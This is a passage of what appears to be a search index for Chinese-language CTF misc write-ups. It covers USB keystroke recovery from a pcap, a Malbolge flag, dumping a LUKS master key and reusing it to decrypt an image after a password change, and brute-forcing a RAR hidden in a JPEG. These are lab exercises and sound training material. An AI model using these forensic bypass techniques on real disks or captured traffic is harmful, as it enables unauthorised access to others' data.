D'`;M?!\\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\\a`_X|V[Tx;\"VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~ \u4e3a Grave Accent\uff0c\u662f ~ \u6240\u5728\u6309\u952e\uff0c\u5c06 normalKeys \u7684 \u66ff\u6362\u4e3a ` \uff0c\u5c06 shiftKeys \u7684 \u66ff\u6362\u4e3a ~ \u9898\u76ee\u53eb Difficult Programming Language \uff0c\u6240\u4ee5\u662f\u67d0\u79cd\u8bed\u8a00\u54af\uff1f \u770b\u4e86\u522b\u4eba\u7684 WP\uff0c\u4e86\u89e3\u5230\u8fd9\u662f Malbolge \u6240\u7f16\u5199\u7684\u7a0b\u5e8f\uff08\u4e0d\u77e5\u9053\u522b\u4eba\u600e\u4e48\u7528\u5495\u679c\u641c\u5230\u7684\uff0c\u53cd\u6b63\u6211\u53ea\u641c\u5230\u4e86 WP 23333\uff09 \u627e\u4e2a Malbolge \u5728\u7ebf\u8c03\u8bd5\u5668 \uff0c\u628a\u4ee3\u7801\u4e22\u8fdb\u53bb\uff0c\u53d1\u73b0\u2014\u2014\u2014\u8fd9\u4ee3\u7801\u7adf\u7136\u8fd8\u6572\u9519\u4e86\uff08\u256f\u2035\u25a1\u2032\uff09\u256f\ufe35\u2534\u2500\u2534 \u7ecf\u8fc7\u5c1d\u8bd5\uff0c\u628a \" \u6539\u6210 : \u5c31\u53ef\u4ee5\u8fd0\u884c\u4e86\uff0c\u8fd0\u884c\u540e\u5f97\u5230 FLAG\uff1a hctf{m4lb0lGe} \u76f8\u5173\u6269\u5c55 \u00b6 \u9f20\u6807\u534f\u8bae \u00b6 \u9f20\u6807\u534f\u8bae\u7684\u6570\u636e\u957f\u5ea6\u4e3a \\(4\\) \u4e2a\u5b57\u8282 \u7b2c\u4e00\u4e2a\u5b57\u8282\u4ee3\u8868\u6309\u952e\uff0c0x00 \u8868\u793a\u672a\u6309\u952e\uff0c0x01 \u8868\u793a\u6572\u51fb\u5de6\u952e\uff0c0x02 \u8868\u793a\u6572\u51fb\u53f3\u952e \u7b2c\u4e8c\u4e2a\u5b57\u8282\u53ef\u88ab\u770b\u4f5c\u7b26\u53f7\u4f4d\u3002\u503c\u4e3a\u6b63\u65f6\uff0c\u8868\u793a\u9f20\u6807\u6c34\u5e73\u5411\u53f3\u79fb\u52a8\uff1b\u503c\u4e3a\u8d1f\u65f6\uff0c\u8868\u793a\u9f20\u6807\u6c34\u5e73\u5411\u5de6\u79fb\u52a8 \u7b2c\u4e09\u4e2a\u5b57\u8282\u4e0e\u7b2c\u4e8c\u4e2a\u5b57\u8282\u76f8\u4f3c\uff0c\u7528\u4e8e\u63cf\u8ff0\u9f20\u6807\u5782\u76f4\u65b9\u5411\u7684\u79fb\u52a8 \u4f7f\u7528 UsbMiceDataHacker.py \u7ed8\u5236\u9f20\u6807\u79fb\u52a8\u53ca\u62d6\u52a8\u8f68\u8ff9 \u53c2\u8003\u8d44\u6599 \u00b6 USB - CTF Wiki Malbolge \u2013 lutter.cc","title":"Difficult Programming Language"},{"location":"misc/difficult_programming_language/#_1","text":"\u6253\u5f00\u719f\u6089\u7684 pcap \u6587\u4ef6\u4e00\u770b\uff0c\u770b\u5230\u4e86\u964c\u751f\u7684 USB \u534f\u8bae\uff0c\u767b\u65f6\u50bb\u773c(\u309c-\u309c) \u901a\u8fc7\u641c\u7d22\u4e86\u89e3\u5230 USB \u534f\u8bae\u4e2d\u7684\u6570\u636e\u5305\u542b\u5728 Leftover Capture Data \u5b57\u6bb5\u4e2d\uff0c\u9f20\u6807\u534f\u8bae\u7684\u6570\u636e\u957f\u5ea6\u4e3a \\(4\\) \u4e2a\u5b57\u8282\uff0c\u952e\u76d8\u534f\u8bae\u7684\u6570\u636e\u957f\u5ea6\u4e3a \\(8\\) \u4e2a\u5b57\u8282 \u7531\u6570\u636e\u957f\u5ea6\u53ef\u4ee5\u5224\u65ad\uff0c\u7531\u9898\u76ee\u7ed9\u51fa\u7684 pcap \u6587\u4ef6\u53ef\u4ee5\u6062\u590d\u51fa\u952e\u76d8\u7684\u6309\u952e\u4fe1\u606f\u5495\uff0c\u5176\u4e2d\u51fb\u952e\u4fe1\u606f\u96c6\u4e2d\u5728\u7b2c \\(3\\) \u4e2a\u5b57\u8282 \u5c06\u7b2c\u4e09\u5b57\u8282\u53d6\u51fa\u6765\uff0c\u5bf9\u7167\u6620\u5c04\u8868\u5f97\u5230\u51fb\u952e\u5e8f\u5217 USB KEYBOARD \u7684\u6620\u5c04\u8868\uff0c \u5b8c\u6574\u5bf9\u7167\u8868 - USB HID usage table XD \u5077\u4e2a\u61d2\u5495\uff0c\u76f4\u63a5\u4f7f\u7528\u73b0\u6709\u7684 UsbKeyboardDataHacker.py \u8fdb\u884c\u51fb\u952e\u5e8f\u5217\u7684\u63d0\u53d6\uff08\u9700\u8981\u4e0b\u8f7d tshark \uff0c\u7528\u4e8e Leftover Capture Data \u5b57\u6bb5\u4fe1\u606f\u7684\u63d0\u53d6\uff09 \u63d0\u53d6\u540e\u5f97\u5230\u4e86\u8fd9\u4e48\u4e2a\u73a9\u610f\uff08?\uff09\uff1a D'`;M?!\\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\\a`_X|V[Tx;\"VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~ \u4e3a Grave Accent\uff0c\u662f ~ \u6240\u5728\u6309\u952e\uff0c\u5c06 normalKeys \u7684 \u66ff\u6362\u4e3a ` \uff0c\u5c06 shiftKeys \u7684 \u66ff\u6362\u4e3a ~ \u9898\u76ee\u53eb Difficult Programming Language \uff0c\u6240\u4ee5\u662f\u67d0\u79cd\u8bed\u8a00\u54af\uff1f \u770b\u4e86\u522b\u4eba\u7684 WP\uff0c\u4e86\u89e3\u5230\u8fd9\u662f Malbolge \u6240\u7f16\u5199\u7684\u7a0b\u5e8f\uff08\u4e0d\u77e5\u9053\u522b\u4eba\u600e\u4e48\u7528\u5495\u679c\u641c\u5230\u7684\uff0c\u53cd\u6b63\u6211\u53ea\u641c\u5230\u4e86 WP 23333\uff09 \u627e\u4e2a Malbolge \u5728\u7ebf\u8c03\u8bd5\u5668 \uff0c\u628a\u4ee3\u7801\u4e22\u8fdb\u53bb\uff0c\u53d1\u73b0\u2014\u2014\u2014\u8fd9\u4ee3\u7801\u7adf\u7136\u8fd8\u6572\u9519\u4e86\uff08\u256f\u2035\u25a1\u2032\uff09\u256f\ufe35\u2534\u2500\u2534 \u7ecf\u8fc7\u5c1d\u8bd5\uff0c\u628a \" \u6539\u6210 : \u5c31\u53ef\u4ee5\u8fd0\u884c\u4e86\uff0c\u8fd0\u884c\u540e\u5f97\u5230 FLAG\uff1a hctf{m4lb0lGe}","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/difficult_programming_language/#_2","text":"","title":"\u76f8\u5173\u6269\u5c55"},{"location":"misc/difficult_programming_language/#_3","text":"\u9f20\u6807\u534f\u8bae\u7684\u6570\u636e\u957f\u5ea6\u4e3a \\(4\\) \u4e2a\u5b57\u8282 \u7b2c\u4e00\u4e2a\u5b57\u8282\u4ee3\u8868\u6309\u952e\uff0c0x00 \u8868\u793a\u672a\u6309\u952e\uff0c0x01 \u8868\u793a\u6572\u51fb\u5de6\u952e\uff0c0x02 \u8868\u793a\u6572\u51fb\u53f3\u952e \u7b2c\u4e8c\u4e2a\u5b57\u8282\u53ef\u88ab\u770b\u4f5c\u7b26\u53f7\u4f4d\u3002\u503c\u4e3a\u6b63\u65f6\uff0c\u8868\u793a\u9f20\u6807\u6c34\u5e73\u5411\u53f3\u79fb\u52a8\uff1b\u503c\u4e3a\u8d1f\u65f6\uff0c\u8868\u793a\u9f20\u6807\u6c34\u5e73\u5411\u5de6\u79fb\u52a8 \u7b2c\u4e09\u4e2a\u5b57\u8282\u4e0e\u7b2c\u4e8c\u4e2a\u5b57\u8282\u76f8\u4f3c\uff0c\u7528\u4e8e\u63cf\u8ff0\u9f20\u6807\u5782\u76f4\u65b9\u5411\u7684\u79fb\u52a8 \u4f7f\u7528 UsbMiceDataHacker.py \u7ed8\u5236\u9f20\u6807\u79fb\u52a8\u53ca\u62d6\u52a8\u8f68\u8ff9","title":"\u9f20\u6807\u534f\u8bae"},{"location":"misc/difficult_programming_language/#_4","text":"USB - CTF Wiki Malbolge \u2013 lutter.cc","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/encrypted_u_disk/","text":"\u9898\u76ee \u00b6 \u8fd9\u662f\u4e00\u4e2a\u5173\u4e8e LUKS (Linux Unified Key Setup) \u7684\u6545\u4e8b\u3002 \u7b2c\u4e00\u5929 \u5c0f T\uff1a\u300c\u4f60\u8981\u7684\u968f\u673a\u8fc7\u7a0b\u7684\u8bfe\u4ef6\u6211\u5e2e\u4f60\u62f7\u597d\u4e86\uff0c\u5728\u8fd9\u4e2a U \u76d8\u91cc\uff0cLUKS \u52a0\u5bc6\u7684\u5bc6\u7801\u662f suijiguocheng123123 \u3002\u300d \u5c0f Z\uff1a\u300c\u554a\uff0c\u4f60\u53c8\u641e\u4e86 Linux \u6587\u4ef6\u7cfb\u7edf\u52a0\u5bc6\uff0c\u771f\u62ff\u4f60\u6ca1\u529e\u6cd5\u3002\u6211\u73b0\u5728\u4e0d\u65b9\u4fbf\u7528 Linux\uff0c\u6211\u76f4\u63a5\u628a\u8fd9\u5757\u76d8\u505a\u6210\u78c1\u76d8\u955c\u50cf\u6587\u4ef6\u518d\u56de\u53bb\u5904\u7406\u5427\u3002\u300d \u7b2c\u4e8c\u5929 \u5c0f Z\uff1a\u300c\u8c22\u8c22\u4f60\u6628\u5929\u5e2e\u6211\u62f7\u7684\u8bfe\u4ef6\u3002\u4f60\u6bcf\u6b21\u90fd\u641e\u8fd9\u4e2a\u52a0\u5bc6\uff0c\u5b83\u771f\u7684\u5b89\u5168\u5417\uff1f\u300d \u5c0f T\uff1a\u300c\u5f53\u7136\u4e86\uff01\u4f60\u770b\uff0c\u4f60\u8fd8\u7ed9\u6211\u4e4b\u540e\uff0c\u6211\u5df2\u7ecf\u628a\u8fd9\u5757\u76d8\u7684\u5f31\u5bc6\u7801\u6539\u6389\u4e86\uff0c\u73b0\u5728\u662f\u968f\u673a\u751f\u6210\u7684\u5f3a\u5bc6\u7801\uff0c\u8fd9\u6837\u9664\u4e86\u6211\u81ea\u5df1\uff0c\u4e16\u754c\u4e0a\u4efb\u4f55\u4eba\u90fd\u65e0\u6cd5\u89e3\u5bc6\u5b83\u4e86\u3002\u300d \u5c0f Z\uff1a\u300c\u6211\u53ef\u4e0d\u4fe1\u3002\u300d \u5c0f T\uff1a\u300c\u4f60\u4e0d\u4fe1\uff1f\u4f60\u770b\uff0c\u6211\u73b0\u5728\u5f80 U \u76d8\u91cc\u653e\u4e00\u4e2a flag \u6587\u4ef6\uff0c\u7136\u540e\u8fd9\u4e2a U \u76d8\u5c31\u7ed9\u4f60\u4e86\uff0c\u4f60\u7edd\u5bf9\u89e3\u5bc6\u4e0d\u51fa\u6765\u8fd9\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9\u3002\u5f53\u521d\u641e LUKS \u7684\u65f6\u5019\u6211\u53ef\u7814\u7a76\u4e86\u597d\u51e0\u5929\uff0c\u73ed\u4e0a\u53ef\u6ca1\u4eba\u6bd4\u6211\u66f4\u61c2\u52a0\u5bc6\uff01\u300d LUKS - \u6280\u672f\u7279\u70b9 \u00b6 \u91c7\u7528\u4e00\u79cd\u6570\u636e\u5206\u5272\u6280\u672f\u4fdd\u5b58\u52a0\u5bc6\u5bc6\u94a5\uff0c\u4fdd\u8bc1\u5bc6\u94a5\u7684\u5b89\u5168\u6027 \u652f\u6301\u591a\u7528\u6237/\u5bc6\u7801\u5bf9\u540c\u4e00\u4e2a\u8bbe\u5907\u7684\u8bbf\u95ee\uff0c\u7528\u6237\u5bc6\u7801\u52a0\u5bc6\u4e3b\u5bc6\u94a5 \u7531 Split Master Key \u53ef\u4ee5\u5f97\u5230 Master Key \u6570\u636e\u52a0\u5bc6\u5bc6\u94a5\uff0c\u5373\u4e3b\u5bc6\u94a5\uff0c\u4e0d\u4f9d\u8d56\u5bc6\u7801\uff0c \u6539\u53d8\u5bc6\u7801\u65e0\u9700\u91cd\u65b0\u52a0\u5bc6\u6570\u636e \u89e3\u9898\u601d\u8def \u00b6 \u7b2c\u4e00\u5929\u548c\u7b2c\u4e8c\u5929\u5206\u522b\u5bf9\u5e94\u955c\u50cf day1.img \u548c day2.img \u7531\u9898\u610f\u53ef\u77e5\uff0c\u4ece day1.img \u5230 day2.img \u53ea\u6709\u7528\u6237\u5bc6\u7801\u53d1\u751f\u4e86\u53d8\u66f4\uff0c\u52a0\u5bc6\u6570\u636e\u4f7f\u7528\u7684\u4e3b\u5bc6\u94a5\u5e76\u6ca1\u6709\u53d8\u5316 Ubuntu \u53cc\u51fb\u540e\u8f93\u5165\u5bc6\u7801\uff0c\u76f4\u63a5\u6302\u8f7d day1.img \uff0c\u8fd9\u91cc\u5e76\u6ca1\u6709 Flag (\u014f\u03c9\u014f)\uff0c\u5feb\u8fdb\u5230\u4e0b\u4e00\u6b65 \u6216\u8005\u901a\u8fc7\u547d\u4ee4\u884c\u7684\u65b9\u5f0f\u6302\u8f7d sudo losetup -P /dev/loop23 day1.img # -P\uff1a\u5f3a\u5236\u5185\u6838\u626b\u63cf\u65b0\u5efa\u56de\u73af\u8bbe\u5907\u4e0a\u7684\u5206\u533a\u8868\uff0c\u5426\u5219 cryptsetup \u65e0\u6cd5\u8bc6\u522b\u4e3a\u6709\u6548\u7684 LUKS \u8bbe\u5907 sudo cryptsetup luksOpen /dev/loop23p1 day1 \u83b7\u53d6 LUKS \u52a0\u5bc6\u955c\u50cf\u6302\u8f7d\u7684\u4f4d\u7f6e $ lsblk | grep luks -B 2 loop23 7 :23 0 20M 1 loop \u2514\u2500loop23p1 259 :10 0 19M 1 part \u2514\u2500luks-e9a660d5-4a91-4dca-bda5-3f6a49eea998 253 :0 0 3M 1 crypt /media/yanhui/My Disk \u83b7\u53d6\u4e3b\u5bc6\u94a5\u5e76\u4fdd\u5b58\u4e3a\u4e8c\u8fdb\u5236\u6587\u4ef6 $ sudo cryptsetup luksDump --dump-master-key /dev/loop23p1 WARNING! ======== Header dump with volume key is sensitive information which allows access to an encrypted partition without a passphrase. This dump should be always stored encrypted in a safe place. Are you sure? ( Type uppercase yes ) : YES Enter passphrase for /dev/loop23p1: LUKS header information for /dev/loop23p1 Cipher name: aes Cipher mode: xts-plain64 Payload offset: 32768 UUID: e9a660d5-4a91-4dca-bda5-3f6a49eea998 MK bits: 512 MK dump: be 97 db 91 5c 30 47 ce 1c 59 c5 c0 8c 75 3c 40 72 35 85 9d fe 49 c0 52 c4 f5 26 60 af 3e d4 2c ec a3 60 53 aa 96 70 4d f3 f2 ff 56 8f 49 a1 82 60 18 7c 58 d7 6a ec e8 00 c1 90 c1 88 43 f8 9a $ echo \"be 97 db 91 5c 30 47 ce 1c 59 c5 c0 8c 75 3c 40 72 35 85 9d fe 49 c0 52 c4 f5 26 60 af 3e d4 2c ec a3 60 53 aa 96 70 4d f3 f2 ff 56 8f 49 a1 82 60 18 7c 58 d7 6a ec e8 00 c1 90 c1 88 43 f8 9a\" | tr -d \" \" | xxd -r -p > masterkey \u4f7f\u7528\u4e3b\u5bc6\u94a5\u89e3\u5bc6 day2.img sudo losetup -P /dev/loop24 day2.img sudo cryptsetup luksOpen /dev/loop24p1 day2 --master-key-file masterkey \u8fdb\u5165\u78c1\u76d8\uff0c\u5c31\u80fd\u770b\u5230 flag.txt \u4e86 Flag \u00b6 flag{changing_Pa55w0rD_d0esNot_ChangE_Luk5_ma5ter_key} \u53c2\u8003\u8d44\u6599 \u00b6 \u94b1\u955c\u6d01\uff0c\u9b4f\u9e4f\uff0c\u6c88\u957f\u8fbe. LUKS\u52a0\u5bc6\u5377\u7684\u79bb\u7ebf\u89e3\u5bc6\u6280\u672f\u5206\u6790 [J]. \u4fe1\u606f\u7f51\u7edc\u5b89\u5168, 2014, 14(9): 217-219. losetup(8) \u2014 Linux manual page cryptsetup(8) \u2014 Linux manual page","title":"\u52a0\u5bc6\u7684 U \u76d8"},{"location":"misc/encrypted_u_disk/#_1","text":"\u8fd9\u662f\u4e00\u4e2a\u5173\u4e8e LUKS (Linux Unified Key Setup) \u7684\u6545\u4e8b\u3002 \u7b2c\u4e00\u5929 \u5c0f T\uff1a\u300c\u4f60\u8981\u7684\u968f\u673a\u8fc7\u7a0b\u7684\u8bfe\u4ef6\u6211\u5e2e\u4f60\u62f7\u597d\u4e86\uff0c\u5728\u8fd9\u4e2a U \u76d8\u91cc\uff0cLUKS \u52a0\u5bc6\u7684\u5bc6\u7801\u662f suijiguocheng123123 \u3002\u300d \u5c0f Z\uff1a\u300c\u554a\uff0c\u4f60\u53c8\u641e\u4e86 Linux \u6587\u4ef6\u7cfb\u7edf\u52a0\u5bc6\uff0c\u771f\u62ff\u4f60\u6ca1\u529e\u6cd5\u3002\u6211\u73b0\u5728\u4e0d\u65b9\u4fbf\u7528 Linux\uff0c\u6211\u76f4\u63a5\u628a\u8fd9\u5757\u76d8\u505a\u6210\u78c1\u76d8\u955c\u50cf\u6587\u4ef6\u518d\u56de\u53bb\u5904\u7406\u5427\u3002\u300d \u7b2c\u4e8c\u5929 \u5c0f Z\uff1a\u300c\u8c22\u8c22\u4f60\u6628\u5929\u5e2e\u6211\u62f7\u7684\u8bfe\u4ef6\u3002\u4f60\u6bcf\u6b21\u90fd\u641e\u8fd9\u4e2a\u52a0\u5bc6\uff0c\u5b83\u771f\u7684\u5b89\u5168\u5417\uff1f\u300d \u5c0f T\uff1a\u300c\u5f53\u7136\u4e86\uff01\u4f60\u770b\uff0c\u4f60\u8fd8\u7ed9\u6211\u4e4b\u540e\uff0c\u6211\u5df2\u7ecf\u628a\u8fd9\u5757\u76d8\u7684\u5f31\u5bc6\u7801\u6539\u6389\u4e86\uff0c\u73b0\u5728\u662f\u968f\u673a\u751f\u6210\u7684\u5f3a\u5bc6\u7801\uff0c\u8fd9\u6837\u9664\u4e86\u6211\u81ea\u5df1\uff0c\u4e16\u754c\u4e0a\u4efb\u4f55\u4eba\u90fd\u65e0\u6cd5\u89e3\u5bc6\u5b83\u4e86\u3002\u300d \u5c0f Z\uff1a\u300c\u6211\u53ef\u4e0d\u4fe1\u3002\u300d \u5c0f T\uff1a\u300c\u4f60\u4e0d\u4fe1\uff1f\u4f60\u770b\uff0c\u6211\u73b0\u5728\u5f80 U \u76d8\u91cc\u653e\u4e00\u4e2a flag \u6587\u4ef6\uff0c\u7136\u540e\u8fd9\u4e2a U \u76d8\u5c31\u7ed9\u4f60\u4e86\uff0c\u4f60\u7edd\u5bf9\u89e3\u5bc6\u4e0d\u51fa\u6765\u8fd9\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9\u3002\u5f53\u521d\u641e LUKS \u7684\u65f6\u5019\u6211\u53ef\u7814\u7a76\u4e86\u597d\u51e0\u5929\uff0c\u73ed\u4e0a\u53ef\u6ca1\u4eba\u6bd4\u6211\u66f4\u61c2\u52a0\u5bc6\uff01\u300d","title":"\u9898\u76ee"},{"location":"misc/encrypted_u_disk/#luks-","text":"\u91c7\u7528\u4e00\u79cd\u6570\u636e\u5206\u5272\u6280\u672f\u4fdd\u5b58\u52a0\u5bc6\u5bc6\u94a5\uff0c\u4fdd\u8bc1\u5bc6\u94a5\u7684\u5b89\u5168\u6027 \u652f\u6301\u591a\u7528\u6237/\u5bc6\u7801\u5bf9\u540c\u4e00\u4e2a\u8bbe\u5907\u7684\u8bbf\u95ee\uff0c\u7528\u6237\u5bc6\u7801\u52a0\u5bc6\u4e3b\u5bc6\u94a5 \u7531 Split Master Key \u53ef\u4ee5\u5f97\u5230 Master Key \u6570\u636e\u52a0\u5bc6\u5bc6\u94a5\uff0c\u5373\u4e3b\u5bc6\u94a5\uff0c\u4e0d\u4f9d\u8d56\u5bc6\u7801\uff0c \u6539\u53d8\u5bc6\u7801\u65e0\u9700\u91cd\u65b0\u52a0\u5bc6\u6570\u636e","title":"LUKS - \u6280\u672f\u7279\u70b9"},{"location":"misc/encrypted_u_disk/#_2","text":"\u7b2c\u4e00\u5929\u548c\u7b2c\u4e8c\u5929\u5206\u522b\u5bf9\u5e94\u955c\u50cf day1.img \u548c day2.img \u7531\u9898\u610f\u53ef\u77e5\uff0c\u4ece day1.img \u5230 day2.img \u53ea\u6709\u7528\u6237\u5bc6\u7801\u53d1\u751f\u4e86\u53d8\u66f4\uff0c\u52a0\u5bc6\u6570\u636e\u4f7f\u7528\u7684\u4e3b\u5bc6\u94a5\u5e76\u6ca1\u6709\u53d8\u5316 Ubuntu \u53cc\u51fb\u540e\u8f93\u5165\u5bc6\u7801\uff0c\u76f4\u63a5\u6302\u8f7d day1.img \uff0c\u8fd9\u91cc\u5e76\u6ca1\u6709 Flag (\u014f\u03c9\u014f)\uff0c\u5feb\u8fdb\u5230\u4e0b\u4e00\u6b65 \u6216\u8005\u901a\u8fc7\u547d\u4ee4\u884c\u7684\u65b9\u5f0f\u6302\u8f7d sudo losetup -P /dev/loop23 day1.img # -P\uff1a\u5f3a\u5236\u5185\u6838\u626b\u63cf\u65b0\u5efa\u56de\u73af\u8bbe\u5907\u4e0a\u7684\u5206\u533a\u8868\uff0c\u5426\u5219 cryptsetup \u65e0\u6cd5\u8bc6\u522b\u4e3a\u6709\u6548\u7684 LUKS \u8bbe\u5907 sudo cryptsetup luksOpen /dev/loop23p1 day1 \u83b7\u53d6 LUKS \u52a0\u5bc6\u955c\u50cf\u6302\u8f7d\u7684\u4f4d\u7f6e $ lsblk | grep luks -B 2 loop23 7 :23 0 20M 1 loop \u2514\u2500loop23p1 259 :10 0 19M 1 part \u2514\u2500luks-e9a660d5-4a91-4dca-bda5-3f6a49eea998 253 :0 0 3M 1 crypt /media/yanhui/My Disk \u83b7\u53d6\u4e3b\u5bc6\u94a5\u5e76\u4fdd\u5b58\u4e3a\u4e8c\u8fdb\u5236\u6587\u4ef6 $ sudo cryptsetup luksDump --dump-master-key /dev/loop23p1 WARNING! ======== Header dump with volume key is sensitive information which allows access to an encrypted partition without a passphrase. This dump should be always stored encrypted in a safe place. Are you sure? ( Type uppercase yes ) : YES Enter passphrase for /dev/loop23p1: LUKS header information for /dev/loop23p1 Cipher name: aes Cipher mode: xts-plain64 Payload offset: 32768 UUID: e9a660d5-4a91-4dca-bda5-3f6a49eea998 MK bits: 512 MK dump: be 97 db 91 5c 30 47 ce 1c 59 c5 c0 8c 75 3c 40 72 35 85 9d fe 49 c0 52 c4 f5 26 60 af 3e d4 2c ec a3 60 53 aa 96 70 4d f3 f2 ff 56 8f 49 a1 82 60 18 7c 58 d7 6a ec e8 00 c1 90 c1 88 43 f8 9a $ echo \"be 97 db 91 5c 30 47 ce 1c 59 c5 c0 8c 75 3c 40 72 35 85 9d fe 49 c0 52 c4 f5 26 60 af 3e d4 2c ec a3 60 53 aa 96 70 4d f3 f2 ff 56 8f 49 a1 82 60 18 7c 58 d7 6a ec e8 00 c1 90 c1 88 43 f8 9a\" | tr -d \" \" | xxd -r -p > masterkey \u4f7f\u7528\u4e3b\u5bc6\u94a5\u89e3\u5bc6 day2.img sudo losetup -P /dev/loop24 day2.img sudo cryptsetup luksOpen /dev/loop24p1 day2 --master-key-file masterkey \u8fdb\u5165\u78c1\u76d8\uff0c\u5c31\u80fd\u770b\u5230 flag.txt \u4e86","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/encrypted_u_disk/#flag","text":"flag{changing_Pa55w0rD_d0esNot_ChangE_Luk5_ma5ter_key}","title":"Flag"},{"location":"misc/encrypted_u_disk/#_3","text":"\u94b1\u955c\u6d01\uff0c\u9b4f\u9e4f\uff0c\u6c88\u957f\u8fbe. LUKS\u52a0\u5bc6\u5377\u7684\u79bb\u7ebf\u89e3\u5bc6\u6280\u672f\u5206\u6790 [J]. \u4fe1\u606f\u7f51\u7edc\u5b89\u5168, 2014, 14(9): 217-219. losetup(8) \u2014 Linux manual page cryptsetup(8) \u2014 Linux manual page","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/gakki/","text":"\u89e3\u9898\u601d\u8def \u00b6 emm\u2026\u2026\u662f\u4e00\u5f20\u65b0\u57a3\u7ed3\u8863\u7684\u7167\u7247\u3010\u4e0d\u662f\u91cd\u70b9\uff01(\u03a6\u76bf\u03a6\u256c)\u3011\u770b\u770b\u6709\u6ca1\u6709\u85cf\u2026\u2026\u6709\u7684\uff01\u7528 dd \u5206\u79bb\u51fa\u6765~ $ binwalk wolaopo.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1 .01 30 0x1E TIFF image data, big-endian, offset of first image directory: 8 137448 0x218E8 RAR archive data, first volume type: MAIN_HEAD $ dd if = wolaopo.jpg of = tmp.rar skip = 137448 bs = 1 79776 +0 records in 79776 +0 records out 79776 bytes ( 80 kB, 78 KiB ) copied, 1 .73609 s, 46 .0 kB/s \u5206\u79bb\u51fa\u6765\u7684\u538b\u7f29\u6587\u4ef6\u9700\u8981\u8f93\u5165\u5bc6\u7801\u89e3\u538b\uff0c\u7206\u7834\u83b7\u5f97\u5bc6\u7801 8864 \u89e3\u538b\u540e\u5f97\u5230\u6587\u4ef6 flag.txt \uff0c\u6587\u4ef6\u5185\u5bb9\u2026\u2026\u662f\u4e2a\u5565\uff1f\uff1f \u8d77\u521d\u731c\u6d4b\u662f\u67d0\u79cd\u7279\u6b8a\u7684\u7f16\u7801\uff0c\u5495\u679c\u65e0\u679c\u2026\u2026\u7adf\u7136\u662f\u7edf\u8ba1\u5b57\uff08\u7b26\uff09\u9891\uff01\u3010\u5b8c\u5168\u6ca1\u60f3\u5230\u3011 f = open ( 'flag.txt' , 'r' ) content = f . read () f . close () cnt = dict () for i in content : if ( i == ' \\n ' ): continue if i in cnt : cnt [ i ] += 1 else : cnt [ i ] = 1 ans = { k : v for k , v in sorted ( cnt . items (), key = lambda item : item [ 1 ], reverse = True )} for i in ans : print ( i , end = '' ) \u7edf\u8ba1\u5b8c\u540e\uff0c\u6309\u9891\u7387\u4ece\u9ad8\u5230\u4f4e\u6392\u5217\uff0c\u6210\u529f\u83b7\u53d6 flag\uff01 $ python3 gakki.py GXY { gaki_IsMyw1fe } DAQOWJHNSEKUP*Z & 8 #294BC%^V$3@)(R-FT05=L76ohqdujlmczxnpbvtr![;,. '","title":"gakki"},{"location":"misc/gakki/#_1","text":"emm\u2026\u2026\u662f\u4e00\u5f20\u65b0\u57a3\u7ed3\u8863\u7684\u7167\u7247\u3010\u4e0d\u662f\u91cd\u70b9\uff01(\u03a6\u76bf\u03a6\u256c)\u3011\u770b\u770b\u6709\u6ca1\u6709\u85cf\u2026\u2026\u6709\u7684\uff01\u7528 dd \u5206\u79bb\u51fa\u6765~ $ binwalk wolaopo.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1 .01 30 0x1E TIFF image data, big-endian, offset of first image directory: 8 137448 0x218E8 RAR archive data, first volume type: MAIN_HEAD $ dd if = wolaopo.jpg of = tmp.rar skip = 137448 bs = 1 79776 +0 records in 79776 +0 records out 79776 bytes ( 80 kB, 78 KiB ) copied, 1 .73609 s, 46 .0 kB/s \u5206\u79bb\u51fa\u6765\u7684\u538b\u7f29\u6587\u4ef6\u9700\u8981\u8f93\u5165\u5bc6\u7801\u89e3\u538b\uff0c\u7206\u7834\u83b7\u5f97\u5bc6\u7801 8864 \u89e3\u538b\u540e\u5f97\u5230\u6587\u4ef6 flag.txt \uff0c\u6587\u4ef6\u5185\u5bb9\u2026\u2026\u662f\u4e2a\u5565\uff1f\uff1f \u8d77\u521d\u731c\u6d4b\u662f\u67d0\u79cd\u7279\u6b8a\u7684\u7f16\u7801\uff0c\u5495\u679c\u65e0\u679c\u2026\u2026\u7adf\u7136\u662f\u7edf\u8ba1\u5b57\uff08\u7b26\uff09\u9891\uff01\u3010\u5b8c\u5168\u6ca1\u60f3\u5230\u3011 f = open ( 'flag.txt' , 'r' ) content = f . read () f . close () cnt = dict () for i in content : if ( i == ' \\n ' ): continue if i in cnt : cnt [ i ] += 1 else : cnt [ i ] = 1 ans = { k : v for k , v in sorted ( cnt . items (), key = lambda item : item [ 1 ], reverse = True )} for i in ans : print ( i , end = '' ) \u7edf\u8ba1\u5b8c\u540e\uff0c\u6309\u9891\u7387\u4ece\u9ad8\u5230\u4f4e\u6392\u5217\uff0c\u6210\u529f\u83b7\u53d6 flag\uff01 $ python3 gakki.py GXY { gaki_IsMyw1fe } DAQOWJHNSEKUP*Z & 8 #294BC%^V$3@)(R-FT05=L76ohqdujlmczxnpbvtr![;,. '","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/gibberish_message/","text":"\u4e71\u7801\u53ca\u4ea7\u751f\u539f\u56e0 \u00b6 \u89e3\u9898\u601d\u8def \u00b6 \u4e0b\u8f7d\u6587\u4ef6\u540e \u4f7f\u7528 UTF-8 \u6253\u5f00 \uff0c\u5f97\u5230\u7684\u5185\u5bb9\u591a\u4e3a\u4e0d\u5e38\u89c1\u7684\u6c49\u5b57\uff0c\u63a8\u6d4b\u5bf9\u5e94\u8868\u683c\u4e2d\u7684\u53e4\u6587\u7801\u3002\u800c\u53e4\u6587\u7801\u662f\u300e \u4ee5 GBK \u65b9\u5f0f 